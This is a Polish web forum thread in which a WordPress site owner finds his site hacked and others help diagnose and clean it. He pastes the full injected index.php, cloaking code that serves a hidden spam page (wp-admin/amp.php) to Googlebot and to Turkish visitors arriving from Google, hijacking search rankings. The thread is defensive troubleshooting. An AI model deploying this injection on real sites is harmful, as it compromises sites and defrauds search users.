Skocz do zawartości
spacer.png
spacer.png

Strona bardzo wolno się wczytuje z wyszukiwarki Google


jamski21

Rekomendowane odpowiedzi

Opublikowano

Od kilku dni mam spory problem, z dnia na dzień straciłem wiekszą połowe ruchu na strone. Strona działa normalnie jak zawsze jeśli wpiszemy dokładny adres, na niej też poruszamy sie szybko i nie ma żadnych problemów. Problem zaczyna się wtedy gdy ktoś próbuje wejść przez wyszukiwarkę google, wtedy strona potrafi sie ładować 2/3 min i tak jest cały czas. Przy próbie wejścia na sitemap.xml wyskakuje taki komunikat: 

This page contains the following errors:

error on line 2 at column 6: XML declaration allowed only at the start of the document

Below is a rendering of the page up to the first error.

Jeszcze w logach czesto coś takiego pokazuje, ale nie mam pojecia czy to ma jakiś wpływ "client denied by server configuration /private_html/wp-cron.php"

Próbowałem sam to naprawić ale z marnym skutkiem. Nie wiem co się stało, nie logowałem się na wordpress jakiś czas już i dziś zobaczyłem jedank że coś jest nie tak bo spadek wejsć ogromny był z dnia na dzień. 

Byłbym bardzo wdzięczny jeśli ktoś by mi pomógł z tym. Z góry dziękuje

Opublikowano

Direct ma normalną prędkość, ale przy wejściu z Google masakra jest. Teraz wogole nie mogę wejść przez wyszukiwarkę. Aha i tylko te posty które są na Wordpress, te które nie są na wp i wrzucałem przez FTP działają normalnie. Chyba ktoś mi się włamał na stronę, wszedłem teraz w Google analytics i w popularnych frazach wyszukiwania było "odeonbet". Myślę jakiś błąd ale wpisałem w Google i jest, wygląda jak post po turecku. Tyle że nie wiem jak zdobyc adres pełen żeby wejść na to, a Google skraca pełny link. Sprawdzałem historię logowania i nic nie widziałem podejrzanego. Backup coś pomoże w tym wypadku? @mysc

Opublikowano

Direct ma normalną prędkość, a dokładnie ten sam URL odwiedzany z google wczytuje sie wolniej? Dobrze rozumiem? Czy chodzi o inne adresy?

Bardzo możliwe że ktoś Ci się włamał na WP, przez WP zyskał dostęp do plików na hostingu - i dodał tam skrypty, artykuły których nie widzisz w panelu admina, itp. W takiej sytuacji przywrócenie backupu pomoże, ale tylko jeśli został wykonany przed włamaniem...

Może podaj jakieś konkrety? Adres strony, konkretne linki, screeny? Będzie prościej ocenić w czym jest problem :)

  • Dzięki! 1
Opublikowano

@mysc @barrackus Sorry Pany ale adresu nie moge wam podać. Strona jest czysto zarobkowa pod cpa, a jeszcze niedawno nieźle zarabiałem na niej. Strona w bing działa normalnie, z direct też, z google wczytuje się jak g*wno. Sprawdzałem i przez filezille i jednak żadnych postów nie ma, a to "odeonbet" kieruje na strone głowną. Jedyne co narazie znalazłem to plik index jest zepsuty. Zobaczcie że turcja jest, backup mam ale z początku lutego.

 

<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {    $userAgent = $_SERVER['HTTP_USER_AGENT'];} else {    $userAgent = '';}if (!empty($_SERVER['HTTP_REFERER'])) {    $referer = $_SERVER['HTTP_REFERER'];} else {    $referer = '';}$googleBots = [    'Googlebot',    'AdsBot',    'Mediapartners-Google',    'APIs-Google',    'Googlebot-Image',    'Googlebot-Video',    'Googlebot-News',    'Googlebot-Search',    'Googlebot-Inspect',    'Googlebot-Android',    'Googlebot-Mobile',    'Googlebot-Ads',    'Googlebot-Discovery',    'Google-',];function isFromTurkey($ip) {    static $cache = [];    if (isset($cache[$ip])) {        return $cache[$ip];    }        $url = "http://ip-api.com/json/{$ip}?fields=countryCode";    $response = @file_get_contents($url);        if ($response === false) {        return false;    }        $data = json_decode($response, true);    $isTurkey = (isset($data['countryCode']) && $data['countryCode'] === 'TR');    $cache[$ip] = $isTurkey;    return $isTurkey;}$visitorIp = $_SERVER['REMOTE_ADDR'];if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {    if ($_SERVER['REQUEST_URI'] == '/') {        include 'wp-admin/amp.php';        die();    }} elseif (    !preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) &&    preg_match('/google\.com/i', $referer) &&    isFromTurkey($visitorIp)) {       include 'wp-admin/amp.php';        die();}?><?phpdefine('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php';?>

Zmieniłem na czysty plik index.php ale zaraz wraca do tego stanu powyżej. Usuwałem też plik .htacces i index.php, też nic. Jedyne wyjście raczej to przywrócić stronę do stanu z lutego, tylko dużo pozmieniałem od tamtej pory.

Opublikowano

O stary :D

Ktoś uzyskał dostęp do twojej strony jako admin i wstrzyknął kod do niej.

Co to robi: sprawdza czy jesteś z google albo jesteś z Turcji i wrzuca ci stronę amp.php (zapewne zmodyfikowana). Czy robi to dla inteksacji (kradziez rankingu). Pokazuje zapewne jakis spam / scam. Natomiast inni nic nie widzą.

Zrób czystego index, skasuj ten amp.php, sprawdzć wp_cron - pewnie są tam złośliwe taski.

Sprawdź userów w panelu co mają admina, skasuj, zmień hasło swojego, dodaj 2fa

Poproś o re-index, re-review w search console jak poprawisz.

O ile nie jesteśmy z Turcji, to byśmy widzieli normalną stronę. 

4 godziny temu, jamski21 napisał(a):

Sorry Pany ale adresu nie moge wam podać. Strona jest czysto zarobkowa pod cpa

Może się nie znam, ale w tego typu stronach im więcej osób ją widzi, tym lepiej a nie odwrotnie :D

  • Dzięki! 1
Opublikowano

Hasła i admina to wczoraj zrobiłem. wp_cron moge dać czystego z paczki wordpress? Zaglądałem wczoraj w ten plik ale nie wiem których komend tam nie powinno być.

Opublikowano

Usunałem amp, ale i tak po wrzuceniu index automatycznie zmienia się na turcje. cron wygląda raczej normalnie bo ma identyczną wage jak czysty plik.

Opublikowano

masz zapewne zainfekowny jakiś inny plik - jakiś który jest uruchamiany zawsze (typu wp-config czy admin), i wstrzykuje on ponownie złośliwy kod.

Zacznij może od reinstalacji wordpressa na pusto...

Update: zapomniałem dodać - może plik typu footer czy header który jest częścią każdej strony?

  • Dzięki! 1
Opublikowano
20 minut temu, barrackus napisał(a):

Zacznij może od reinstalacji wordpressa na pusto...

Jakby to miało wygladać? Najlepiej by było przez ftp i wszystko ze strony wywalić, bo wydaje mi się że zwykły reinstall tutaj nie pomoże, ale nie chce contentu tracić, tą stronę mam około 6-ciu lat. Znalazłem na reddicie wtyczke ktorą ludzie polecali bo też mieli ten sam problem. Nazywa się GOTMLS i skanuje mi stronę już 2h a jest dopiero 50%. Jak to skończe to spróbuje reinstall wordpressa.

28 minut temu, barrackus napisał(a):

Update: zapomniałem dodać - może plik typu footer czy header który jest częścią każdej strony?

Ale też może być też w którejs z wtyczek

Opublikowano

Wtyczki zdezaktywuj wszystkie po prostu zmianiajac nazwę katalogu. Treść jest w bazie danych o nia sie nie martw kasując pliki nie kasujesz treści. 

Opublikowano

@jamski21  Moze sprobuj czegos takiego. Ściagnij przez ftp cala zawartosc do siebie na dysk i pusc wyszukiwanie tych fraz zwiazanych z *Turcja* , *amp*  i tak dalej. Bedzie szybciej niz uzywanie losowych skryptow napisanych przez nieznanych ludzi z internetu

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto

Tylko zalogowani użytkownicy mogą dodawać komentarze.

Zarejestruj nowe konto

Załóż nowe konto. To bardzo proste!

Zarejestruj się

Zaloguj się

Posiadasz już konto? Zaloguj się poniżej.

Zaloguj się
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Ta strona korzysta z ciasteczek, aby świadczyć usługi na najwyższym poziomie. Dalsze korzystanie z witryny oznacza zgodę na ich wykorzystanie. Polityka prywatności .